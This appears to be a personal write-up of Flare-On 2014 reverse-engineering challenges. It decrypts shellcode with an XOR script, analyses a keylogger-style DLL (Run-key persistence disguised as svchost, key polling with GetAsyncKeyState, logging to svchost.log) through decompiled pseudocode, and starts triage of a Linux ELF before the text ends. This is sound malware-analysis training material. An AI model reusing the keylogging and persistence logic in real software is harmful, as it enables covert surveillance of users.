100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 85.55 functions/s]INFO: floss: finished execution after 7.19 secondsINFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
...
βββββββββββββββββββββββββββ FLOSS STATIC STRINGS (31) βββββββββββββββββββββββββββ
+----------------------------------+| FLOSS STATIC STRINGS: ASCII (31) |+----------------------------------+
rIF%xsq}$~|C...hesshProchExitTT$@W
+------------------------------------+| FLOSS STATIC STRINGS: UTF-16LE (0) |+------------------------------------+
βββββββββββββββββββββββββ FLOSS STACK STRINGS (7) βββββββββββββββββββββββββ
LoadLibraryAuser32MessageBoxAOWNED!!!2OWNED!!!OWNEExitProcessb
βββββββββββββββββββββββββ FLOSS TIGHT STRINGS (0) βββββββββββββββββββββββββ βββββββββββββββββββββββββββ FLOSS DECODED STRINGS (0)- There are some interesting stack strings,
LoadLibraryA: loads required Windows DLLs at runtimeMessageBoxA: displays a message box (proof of code execution)ExitProcess: - cleanly terminates the program after execution
- And some string so we will look that later,
Advance Static Analysis
- To analyze this shellcode, i can use
cutterso i simply paste shellcode incutterand analyze the assembly,

- In this disassembler, there are 2 functions,
fcn.00000000andfcn.0000035e, fcn.00000000looks very large and messy,

- I analyze some part of
fcn.00000000and i found that it is loading some strings in stack for some purpose as we discuss earlier,
![[Learning/DFIR & MARE/Reverse Engineering/Flare-On/2014/images/Pasted image 20260118140837.png]]
- So i look at the
fcn.0000035efunction and i found that,- It is building encrypted data on the stack and decrypting it in place using XOR, so the real strings only exist in memory at runtime.

- Here is the script that do whole decryption and transformation of hex and convert it to ascii,
# XOR operationsxor_pairs = [ (0x32fba316, 0x32bece79), (0x48cf45ae, 0x2be12bc1), (0xd29f3610, 0xfffa4471), (0x0ca9a9f7, 0x60cfe984), (0x43a993be, 0x3798a3d2), (0x3b628a82, 0x4b11a4ef), (0xccc047d6, 0xffa469be), (0x3154caa3, 0x5265abd4)]
# Calculate XOR resultsxor_results = [val1 ^ val2 for val1, val2 in xor_pairs]print("XOR Results:", [f"0x{r:08x}" for r in xor_results])
# Combine into single hex stringcombined_hex = ''.join([f"{result:08x}" for result in xor_results])print(f"Combined: {combined_hex}")
# Convert to bytes and reversehex_bytes = bytes.fromhex(combined_hex)reversed_bytes = hex_bytes[::-1]
# Convert to ASCIIoutput = reversed_bytes.decode('ascii', errors='replace')print(f"Output: {output}")βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ python decr.py
XOR Results: ['0x00456d6f', '0x632e6e6f', '0x2d657261', '0x6c664073', '0x7431306c', '0x70732e6d', '0x33642e68', '0x63316177']Combined: 00456d6f632e6e6f2d6572616c6640737431306c70732e6d33642e6863316177Output: wa1ch.d3m.spl01ts@flare-on.comE- Here is the flag using static method,
wa1ch.d3m.spl01ts@flare-on.comAdvance Dynamic Analysis
0x00000359 call fcn.0000035e ; fcn.0000035e ; fcn.0000035e(int64_t arg1)fcn.0000035e(int64_t arg1);; arg int64_t arg1 @ rdi; var int64_t var_65h @ stack - 0x65; var int64_t var_48h @ stack - 0x48; var int64_t var_40h @ stack - 0x400x0000035e mov edx, dword [rsp]0x00000361 xor dword [rdx + 0xb], 0x32fba3160x00000368 push 0x32bece790x0000036d xor dword [rdx + 0x17], 0x48cf45ae0x00000374 push 0x2be12bc10x00000379 xor dword [rdx + 0x23], 0xd29f36100x00000380 push 0xfffffffffffa44710x00000385 xor dword [rdx + 0x2f], 0xca9a9f70x0000038c push 0x60cfe9840x00000391 xor dword [rdx + 0x3b], 0x43a993be0x00000398 push 0x3798a3d20x0000039d xor dword [rdx + 0x47], 0x3b628a820x000003a4 push 0x4b11a4ef0x000003a9 xor dword [rdx + 0x53], 0xccc047d60x000003b0 push 0xffffffffffa469be0x000003b5 xor dword [rdx + 0x5f], 0x3154caa30x000003bc push 0x5265abd40x000003c1 mov ecx, esp- This is how it works,
- Now you might think that doing XOR first and then push value which is kind of reverse Because,
- It happens because the shellcode modifies its own instructions in memory.
- The values you see in
push 32BECE79are encrypted operands.- Before that instruction executes, the shellcode does:
xor dword ptr [edx+offset], key- This XOR rewrites the PUSH instruction itself in memory.
- So when execution later reaches that instruction, the CPU fetches the modified bytes, not the original ones.
- Thatβs why:
push 32BECE79 β becomes β push 00456D6F

Flag Extraction
- By putting breakpoint on
004013C1we can see thatespis point to out flag so i do follow in dump forespand i got the flag.
004013C1 | 8BCC | mov ecx,esp
- Alon with flag we get those strings also which we got using floss, which are used to prompt a message box with some random text,
0019FF1C 77 61 31 63 68 2E 64 33 6D 2E 73 70 6C 30 31 74 wa1ch.d3m.spl01t0019FF2C 73 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D 45 00 s@flare-on.comE0019FF3C 5E 13 40 00 4F 57 4E 45 44 21 21 21 00 00 00 00 ^.@.OWNED0019FF4C 4D 65 73 73 61 67 65 42 6F 78 41 00 75 73 65 72 MessageBoxA.0019FF5C 33 32 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 32..LoadLibraryA- Here is out Flag, π
wa1ch.d3m.spl01ts@flare-on.com
Challenge 5:
Stage 1 Analyzing PE File
Initial Triage
- File Type: 5get_it: PE32 executable for MS Windows 5.01 (DLL), Intel i386, 4 sections
- Size: 99KB
- SHA256: 2225b6966b9baae11ee5a8412201b30fd72c4a10e92727d92acf5ea6b5df9176
Basic Static Analysis
- Just quick VT search,
- It gives 48/69 hits so it is malicious and marked
KeyLoggerso maybe some keystroke things will be there,
- It gives 48/69 hits so it is malicious and marked

- Detect it Easy is showing that it is written in
C++and compiled with Visual Studio (2010).- Also it is not packed because entropy is nomal,


- Now we can analyze this binary with
pestudioto get more idea, - In-fact, it gives lots of info such as,
- Our sample is a
32 bit DLLfile with entry point address of0x0000B186and size of101376 Bytes. - And this binary compiled in
2014.
- Our sample is a

-
Now some silly floss things to see any interesting strings,
- it quite big and lots things are there so letβs break it down and show you some stuff.
-
As i said previously, this are some keystrokes,
- And to store them it impersonate the
svchosta legit processβs log file which issvchost.log,
- And to store them it impersonate the
[SHIFT][RETURN][BACKSPACE][TAB][CTRL][DELETE][CAPS LOCK]GetAsyncKeyStatesvchost.log- It is a Keyboard + file write combo
- capture keystroke β write to file β flush.
GetAsyncKeyStateWriteFileCreateFileA/WFlushFileBuffersSetFilePointer- Some registry keys used to do persistence with itβs related Windows APIs,
SOFTWARE\Microsoft\Windows\CurrentVersion\RunSOFTWARE\Microsoft\Windows\CurrentVersion\RunRegCloseKeyRegQueryValueExARegOpenKeyExARegSetValueExARegCreateKeyA- Something with DLL stuff,
- It referencesΒ
c:\windows\system32\svchost.dllΒ andΒsvchost.logΒ but there is no such file (Windows hasΒsvchost.exeΒ in that location). - There is alsoΒ
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllwhich means this file is most probably a DLL and should be executed like that. - There are no parameters, so whatever this DLL is doing should be inΒ
DllMain.
- It referencesΒ
c:\windows\system32\svchost.dllc:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll- Windows APIs related to Anti-Analysis Technique,
IsDebuggerPresentSleepQueryPerformanceCounter- Finally, FLOSS decoded strings,
Courier NewDDNDNNNNDND...FLARE ON!- So only based on these basic analysis, we take overview of malware that how it could behave which helps us in advance analysis.
Advance Static Analysis
- Now Buckle down because we jumping into IDA for some low level stuff,
- As i said previously, there is only one export which is
DLLEntryPoint, - The Windows loader calls the DLLβs entry point defined in the PE Optional Header, which in MSVC-built DLLs is typically
DllMainCRTStartup(often labeled asDLLEntryPointby IDA). - And this
DllMainCRTStartupwill callDLLMain.
Here is the flow,----------------------Windows Loader βAddressOfEntryPoint β__DllMainCRTStartup βDllMain----------------------
More Technically it do these process,
ntdll!LdrLoadDll βntdll!LdrpCallInitRoutine βPE.OptionalHeader.AddressOfEntryPoint β__DllMainCRTStartup β CRT βDllMain β user code- Here is the crux explanation,
- When a DLL is loaded,
ntdll!LdrLoadDllmaps it into memory,LdrpCallInitRoutinedecides initialization, the loader jumps to the PEβsAddressOfEntryPoint(usually__DllMainCRTStartup), which initializes the C runtime (TLS, heap, SEH, globals) and finally calls the user-definedDllMainunder the loader lock.
- When a DLL is loaded,

- Here is the
DLLMainCalled,

- Now this
DLLMainis calling other bunch of other functions, - Here is function tree,
- sub_1000A570() - Doing Persistence by adding key in Registry
- sub_1000A610() - Checking the Key already present of not
- sub_1000AD77() - nothing important..
- sub_1000A4C0() - Just adding some noise to delay the process
- sub_10009EB0 - Switch Case with all ASCII Chars
- sub_10009AF0() - Case of Char βMβ
- sub_10009AF0() - Hidden Function
- sub_10009AF0() - Case of Char βMβ
- sub_10001000
- sub_10009EB0 - Switch Case with all ASCII Chars

sub_1000A570 function,
- First i analyzed the
sub_1000A570function,

- Inside the function we encounterΒ RegOpenKeyExΒ that opens a registry key.
- Full registry key is a combination ofΒ
hKeyΒ andΒlpSubKey.ΒhKeyΒ can be one of theΒ predefined keys. - The constants for the predefined keys needed a bit of googling because the MSDN page didnβt list them. Here they are:
| Key | Constant ||---------------------|----------|| HKEY_CLASSES_ROOT | 0 || HKEY_CURRENT_USER | 1 || HKEY_LOCAL_MACHINE | 2 || HKEY_USERS | 3 || HKEY_CURRENT_CONFIG | 5 |v3 = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 1u, &phkResult);- Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegOpenKeyExA( [in] HKEY hKey, // HKEY_LOCAL_MACHINE (0x80000002) [in, optional] LPCSTR lpSubKey, // "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" [in] DWORD ulOptions, // 0 [in] REGSAM samDesired, // KEY_QUERY_VALUE (0x0001) [out] PHKEY phkResult // &phkResult);- So if we move further,
- If function succeeds it will returnΒ
ERROR_SUCCESSΒ which is 0 according toΒ this page, otherwise it will return another error code. db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0in.rdatasection.- The binary will check if it has access to registry at that path.
- If so then the return value (in eax) will be 0 and it will jump right (JZ will succeed).

v3 = RegQueryValueExA(phkResult, "svchost", 0, 0, Data, &cbData);- Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegQueryValueExA( [in] HKEY hKey, // phkResult [in, optional] LPCSTR lpValueName, // "svchost" LPDWORD lpReserved, // 0 [out, optional] LPDWORD lpType, // 0 [out, optional] LPBYTE lpData, // Data [in, out, optional] LPDWORD lpcbData // &cbData);- RegQueryValueExΒ checks if there is a registry key at an open path.
- It is looking for a registry key namedΒ
svchostΒ at that path. If such key exists, function will return 0. - In this case, it returned 2 which stands forΒ
ERROR_FILE_NOT_FOUNDΒ meaning there was no such key. - Then it will callΒ RegCloseKeyΒ and closes the open registry path. This functionβs return value is saved inΒ
var_110Β (we will need it later):
| Condition | Return Value ||------------------------------|-------------------------------||Registry key cannot be opened | 1 ||Registry key does not exist | 2 ||Registry key exists | 1000A6BB or DllMain(x,x,x)+3B |- This DLL is self-installing malware that checks whether it already has persistence, installed itself if not, disguises itself as
svchost, registers itself to run at every system startup via the Windows Run registry key, executes itself usingrundll32, hides its console, and then enters an infinite loop performing its main malicious activity. - Now it calls
sub_1000A610,
sub_1000A610 function,
- Now this
sub_1000A610similar as previous and here is pseudocode,
int __cdecl sub_1000A610(BYTE *lpData){ size_t v1; // eax HKEY phkResult[2]; // [esp+4h] [ebp-8h] BYREF
if ( RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult) ) return 1; v1 = strlen((const char *)lpData); RegSetValueExA(phkResult[0], "svchost", 0, 1u, lpData, v1); phkResult[1] = 0; return 0;}
- We see that it is callingΒ
GetModuleHandleExΒ forΒsub_1000A610Β and checks the return value . - The return value forΒ GetModuleHandleExΒ will be non-zero, otherwise it will be zero. If call was not successful then last error will be printed to file.


- IfΒ
GetModuleHandleExΒ was successful it will land here.Β - GetModuleFileNameΒ is called which will return the full path for the specified module inΒ
hModule. - In this case, the binary retrieves its own path and saves it inΒ
[ebp+Filename].in return value ofΒsub_1000A570Β is compared with 2. - If registry key did not exist, we will continue.
- We have already seen the strings being loaded.
- ThenΒ
CopyFileAΒ is called to copy itself toΒc:\\windows\\system32\\svchost.dll. - It
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllΒ to the stack and callsΒsub_1000A610Β . - Based on this string and checking for existence of the registry key we can guess what is going to happen in this function.
- Inside this function we see thatΒ RegCreateKeyΒ to openΒ
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. If the key does not exist, it will create it. - If call was successful, execution continues.
- It is adding a new registry key namedΒ
svchostΒ to that path with the specified value. Then function will return with the result value ofRegSetValueEx. - If it was successful, it will be 0.
- The Dll copied itself to system32 and it will run every time Windows starts.
sub_1000A4C0 Function
- Runs forever and repeatedly performs randomβcount tasks using data returned by another function, with artificial delays and memory allocation used mainly for noise / evasion.
- In short just not usefull.
void __noreturn sub_1000A4C0(){ char *Buffer; // [esp+0h] [ebp-14h] int v1; // [esp+4h] [ebp-10h] void *v2; // [esp+8h] [ebp-Ch] __int16 v3; // [esp+Ch] [ebp-8h]
while ( 1 ) { v1 = rand() % 200 + 50; v2 = malloc(15 * v1); memset(v2, 0, 15 * v1); Sleep(0xAu); v3 = 0; while ( v3 < v1 ) { Sleep(0xAu); Buffer = (char *)sub_10009EB0(); if ( Buffer ) { sub_10001000(Buffer); ++v3; } } }}sub_10009EB0 function,

- This loop is Scanning all keyboard keys to detect which key is pressed.
- Loops through all virtual key codes from 8 to 222 and stops when it finds which key the user pressed.
- A classic keylogger polling logic.
- Here is mapping table of keystrokes and value,
SHORT GetAsyncKeyState( [in] int vKey // The virtual-key code);| VK (Virtual key codes) | Value |
|---|---|
| VK_BACK | 8 |
| VK_TAB | 9 |
| VK_RETURN | 13 |
| VK_SHIFT | 16 |
| VK_CONTROL | 17 |
| VK_MENU (Alt) | 18 |
| VK_ESCAPE | 27 |
| βAβ - βZβ or βaβ - βzβ | 65β90 |
| F1βF12 | 112β123 |
for ( i = 8; ; ++i ){ if ( i > 222 ) return 0; if ( GetAsyncKeyState(i) == 0xFFFF8001 ) break; . . .- After getting that pressed key, we just pass it to switch case which will further call some functions,
- And those functions are nothing but just a wrapper which return same character,


- if given input is NOT a normal character then it goes to 2nd switch case,

v1 = i - 8;switch (i){ case 8: .... case 190:}- Final crux of this function,
- And one importent thing,
- This function is a keystroke dispatcher, not a string collector.
- It means this whole process happens for one char only and function return and execution goes to next function which is
sub_10001000(Buffer);,
wait until user presses a key
if key is a letter/number/symbol: return that characterelse if key is Enter / Backspace / Space / Shift: handle that actionelse: ignore and keep waitingsub_10001000 function
- Writes the received character into a file called
svchost.log. - And this whole process happens with that
sub_1000A4C0function sleep time or just delay to make it stealth.
int __cdecl sub_10001000(char *Buffer){ FILE *Stream; // [esp+0h] [ebp-4h]
for ( Stream = 0; !Stream; Stream = fopen("svchost.log", "a+") ) Sleep(0xAu); fputs(Buffer, Stream); fclose(Stream); return 1;}- Now what about flag,
- Here is some puzzle thing,
- This function is for char βMβ and it has hidden logic,
sub_10001240hidden function


const char *sub_10009AF0(){ if ( dword_100194FC > 0 ) { _cfltcvt_init(); sub_10001240(); } return "m";}- now this
sub_10001240()is just printing banner with some cools ascii art,
INT_PTR sub_10001240(){ HINSTANCE WindowLongA; // [esp+0h] [ebp-1590h] wchar_t v2[12]; // [esp+4h] [ebp-158Ch] BYREF HWND hWnd; // [esp+1Ch] [ebp-1574h] wchar_t v4[2728]; // [esp+20h] [ebp-1570h] BYREF LPARAM dwInitParam; // [esp+1570h] [ebp-20h] HINSTANCE hInstance; // [esp+1574h] [ebp-1Ch] wchar_t Source[10]; // [esp+1578h] [ebp-18h] BYREF
hWnd = 0; dwInitParam = 0; wcscpy(v2, L"Courier New"); wcscpy(Source, L"FLARE ON!"); wcscpy( v4, L"_______________________________________________NDD__________________________________________________\n" "______________________________________________DDDDD_________________________________________________\n" "______________________________________________DDDDDN________________________________________________\n" "_____________________________________________DDDDDDD________________________________________________\n" "NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN\n" "DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD\n" "DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD\n" "DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________\n" "DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________\n" "DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__\n" "DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__\n" "DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________\n" "DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________\n" "DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN\n" "DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD\n" "DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN\n" "____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________\n" "___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________\n" "__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________\n" "________________________________________NDDDDDN_____________________________________________________\n" "_______________________________________DNDDDDN______________________________________________________\n" "_______________________________________DDDDD________________________________________________________\n" "______________________________________DDDDD_________________________________________________________\n" "_____________________________________DDDDD__________________________________________________________\n" "_____________________________________NDD____________________________________________________________\n" "____________________________________NDD_____________________________________________________________\n" "___________________________________DD_______________________________________________________________\n"); wcscpy(&Destination, Source); wcscpy(&word_10017034, v2); wcscpy(&word_10017062, v4); if ( hWnd ) WindowLongA = (HINSTANCE)GetWindowLongA(hWnd, -6); else WindowLongA = GetModuleHandleA(0); hInstance = WindowLongA; return DialogBoxIndirectParamW(WindowLongA, &hDialogTemplate, hWnd, DialogFunc, dwInitParam);}- But again it doesnβt have flag so i looks up little bit and here is what i understand,
- This program pretends to be a keylogger, but it is actually a flag puzzle.
- There is NO place where the flag exists as a string.
- The flag is never stored.
- The flag is never assembled.
- The flag exists only as logic.
- Under the hood:
- Each key has its own function
- Each function returns one small string
"a""m""dot""at"
- Some functions also set hidden memory flags
- Those memory flags are the real secret.
- Here are those variables,

- THE TRICK
- You are NOT supposed to type the flag.
- Typing is a decoy.
- The real flag is determined by:
- which functions set those dword flags
- and the order of those flags
- I know it looks weird and tricky, but I also find it very difficult, so this is my understanding.
- So to do this i referred one python script by xbyte, so credit goes to him.
- Here is the script,
#!/usr/bin/env python3
import r2pipeimport os
keys = [ "0x10017000","0x10019460","0x10019464","0x10019468","0x1001946c", "0x10019470","0x10019474","0x10019478","0x1001947c","0x10019480", "0x10019484","0x10019488","0x1001948c","0x10019490","0x10019494", "0x10019498","0x1001949c","0x100194a0","0x100194a4","0x100194a8", "0x100194ac","0x100194b0","0x100194b4","0x100194b8","0x100194bc", "0x100194c0","0x100194c4","0x100194c8","0x100194cc","0x100194d0", "0x100194d4","0x100194d8","0x100194dc","0x100194e0","0x100194e4", "0x100194e8","0x100194ec","0x100194f0","0x100194f4","0x100194f8", "0x100194fc","0x10019500"]
flag = ""
if os.path.isfile("5get_it.dll"):
r2 = r2pipe.open("5get_it.dll") r2.cmd("aaaa")
for key in keys: xrefs = r2.cmdj("axtj " + key) if not xrefs: continue
for xref in xrefs: if xref.get("opcode") == f"mov dword [{key}], 1":
fcn_called = r2.cmdj("pdfj@" + xref["fcn_name"]) if not fcn_called: continue
for op in fcn_called.get("ops", []): dis = op.get("disasm", "") if "mov eax, 0x100" in dis: addr = dis.split(",")[1].strip() ch = r2.cmd(f"pr 1 @ {addr}") flag += ch.strip()
r2.quit()
replacements = { "dot": ".", "dash": "-", "at": "@"}
for k, v in replacements.items(): flag = flag.replace(k, v)
print(flag)βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ python flag.pyWARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next timeINFO: Analyze all flags starting with sym. and entry0 (aa)INFO: Analyze imports (af@@@i)INFO: Analyze entrypoint (af@ entry0)INFO: Analyze symbols (af@@@s)INFO: Analyze all functions arguments/locals (afva@@@F)INFO: Analyze function calls (aac)INFO: Analyze len bytes of instructions for references (aar)INFO: Finding and parsing C++ vtables (avrr)INFO: Analyzing methods (af @@ method.*)INFO: Recovering local variables (afva@@@F)INFO: Type matching analysis for all functions (aaft)INFO: Propagate noreturn information (aanr)INFO: Scanning for strings constructed in code (/azs)INFO: Finding function preludes (aap)INFO: Enable anal.types.constraint for experimental type propagationl0gging.ur.5tr0ke5@flare-on.co- Here is the falg,
l0gging.ur.5tr0ke5@flare-on.coChallenge 6:
Stage 1 ELF Analysis
Initial Triage
- File Type: e7bc5d2c0cf4480348f5504196561297: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c65164a247cb0c44cab89c0fc06980bf6c082011, stripped
- Size: 1.16 MB
- SHA256: 3487e1de75bcb6f2c1425ca4f9b5da8fb66387343bf4a217c5a5cf93c79f0d9d
Basic Static Analysis
- Just quick VT search,
- It gives 0/69 hits so it is very weird so we will do some analysis on it,

- Detect it Easy (Die) show that this file is written in C language and compiled using GCC in ubuntu system which means it is elf binary.
- It is stripped binary so symbol was be removed so it might be difficult to analyze easily.

- It seems not packed so we donβt need to do heavy unpacking stuff,

- For better analysis i switched to
remnuxwhich is linux based malware analysis lab to doing some work on elf and linux executables. - I used
readelftool to get some info about binary and here it is,
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ readelf -h e7bc5d2c0cf4480348f5504196561297ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x401058 Start of program headers: 64 (bytes into file) Start of section headers: 1219080 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 6 Size of section headers: 64 (bytes) Number of section headers: 31 Section header string table index: 30- Here is silly
flossstrings which might be worth to look, - It is not that much interesting but there are some strings which looks like cpp code ad some linux commands maybe used in this binary.
- there is some interesting strings which is,
/index.html Nosebleed # Heartbleed eh? :) ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c info[20]->d_un.d_val == 7remnux@remnux:~/Documents/Flare-on/2014/Chall5$ floss e7bc5d2c0cf4480348f5504196561297 --format sc64 | less > floss_strings.txt
INFO: floss: extracting static stringsfinding decoding function features: 100%|ββββββββββββββββββββββ| 1/1 [00:00<00:00, 453.63 functions/s, skipped 0 library functions]INFO: floss.stackstrings: extracting stackstrings from 1 functionsextracting stackstrings: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 39.67 functions/s]INFO: floss.tightstrings: extracting tightstrings from 0 functions...extracting tightstrings: 0 functions [00:00, ? functions/s]INFO: floss.string_decoder: decoding stringsdecoding strings: 100%|βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ| 1/1 [00:00<00:00, 168.85 functions/s]INFO: floss: finished execution after 10.94 secondsINFO: floss: rendering results
FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)
+------------------------+------------------------------------------------------------------------------------+| file path | e7bc5d2c0cf4480348f5504196561297 || identified language | unknown || extracted strings | || static strings | 6094 (53770 characters) || language strings | 0 ( 0 characters) || stack strings | 0 || tight strings | 0 || decoded strings | 0 |+------------------------+------------------------------------------------------------------------------------+
βββββββββββββββββββββββββββββ FLOSS STATIC STRINGS (6094) βββββββββββββββββββββββββββββ
+------------------------------------+| FLOSS STATIC STRINGS: ASCII (6094) |+------------------------------------+
H9\$(t...LogrhythmRailsuserdelinstallwhichmoreJunipertouchwaitunexpand7zip0coolaproposIMAPjobsVeriSign==:)BIOSHeartbleed...commrsynctailtimeoutBBBBBBBBB@BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB>BBB?456789:;<=BBBABBBBBBBBB !"#$%&'()*+,-./0123BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBFATAL: kernel too old/dev/urandomFATAL: cannot determine kernel version/dev/full/dev/nullcannot set %fs base address for thread-local storageunexpected reloc type in static binarycxa_atexit.cl != ((void *)0)__new_exitfnLIBC_FATAL_STDERR_/dev/tty======= Backtrace: ================ Memory map: ========/proc/self/maps<heap nr="%d"><sizes></heap>malloc.c((p)->size & 0x2)(p->prev_size == offset)<unknown>malloc: top chunk is corruptcorrupted double-linked listTOP_PAD_PERTURB_MMAP_MAX_ARENA_MAXARENA_TESTTRIM_THRESHOLD_MMAP_THRESHOLD_free(): invalid pointerinvalid fastbin entry (free)free(): invalid sizeheap->ar_ptr == avarena.cp->size == (0|0x1)lockedmalloc(): memory corruption(bck->bk->size & 0x4) == 0(fwd->size & 0x4) == 0bit != 0correction >= 0realloc(): invalid old sizerealloc(): invalid next size!((oldp)->size & 0x2)ncopies >= 3realloc(): invalid pointerhooks.cms->av[2*i+3] == 0nclears >= 3Arena %d:system bytes = %10uin use bytes = %10uTotal (incl. mmap):max mmap regions = %10umax mmap bytes = %10lu<malloc version="1">_int_memalign_int_mallocsYSMALLOcmunmap_chunk_int_freeheap_trimmremap_chunk_int_realloc__libc_malloc__libc_realloc__libc_valloc__libc_pvalloc__libc_calloc...<total type="fast" count="%zu" size="%zu"/><total type="rest" count="%zu" size="%zu"/><system type="current" size="%zu"/><system type="max" size="%zu"/><aspace type="total" size="%zu"/><aspace type="mprotect" size="%zu"/></malloc>malloc_consolidate__malloc_set_state__libc_memalign../sysdeps/x86_64/multiarch/../cacheinfo.c! "cannot happen"offset == 2......xdg-openGCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3.shstrtab.note.ABI-tag.note.gnu.build-id.rela.plt.init.text__libc_freeres_fn__libc_thread_freeres_fn.fini.rodata__libc_atexit__libc_subfreeres__libc_thread_subfreeres.eh_frame.gcc_except_table.tdata.tbss.init_array.fini_array.ctors.dtors.jcr.data.rel.ro.got.got.plt.data.bss__libc_freeres_ptrs.comment
+------------------------------------+| FLOSS STATIC STRINGS: UTF-16LE (0) |+------------------------------------+
βββββββββββββββββββββββββ FLOSS STACK STRINGS (0) βββββββββββββββββββββββββ
βββββββββββββββββββββββββ FLOSS TIGHT STRINGS (0) βββββββββββββββββββββββββ
βββββββββββββββββββββββββββ FLOSS DECODED STRINGS (0) βββββββββββββββββββββββββββ- Now we we jump into some disassembly stuff
Basic Dynamic Analysis
ltracetraces library function calls, like- printf
- strcmp
- malloc
- fopen
- puts
- exit etc..
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297Couldn't find .dynsym or .dynstr in "/proc/2152/exe"remnux@remnux:~/Documents/Flare-on/2014/Chall5$ no
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1Couldn't find .dynsym or .dynstr in "/proc/2154/exe"remnux@remnux:~/Documents/Flare-on/2014/Chall5$ na
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2Couldn't find .dynsym or .dynstr in "/proc/2156/exe"remnux@remnux:~/Documents/Flare-on/2014/Chall5$ bad
remnux@remnux:~/Documents/Flare-on/2014/Chall5$ ltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3Couldn't find .dynsym or .dynstr in "/proc/2160/exe"remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahpltrace ./e7bc5d2c0cf4480348f5504196561297 arg1 agr2 arg3 agr4Couldn't find .dynsym or .dynstr in "/proc/2162/exe"remnux@remnux:~/Documents/Flare-on/2014/Chall5$ stahpstraceshows how a program talks to the Linux kernel.- The binary initializes normally, performs minimal environment setup, does not receive required arguments, immediately fails its internal validation logic, prints
"no", and exits with a fixed failure code. - No user-controlled input is processed at all meaning the program expects specific arguments, and if they are not present or not correct, it terminates instantly.
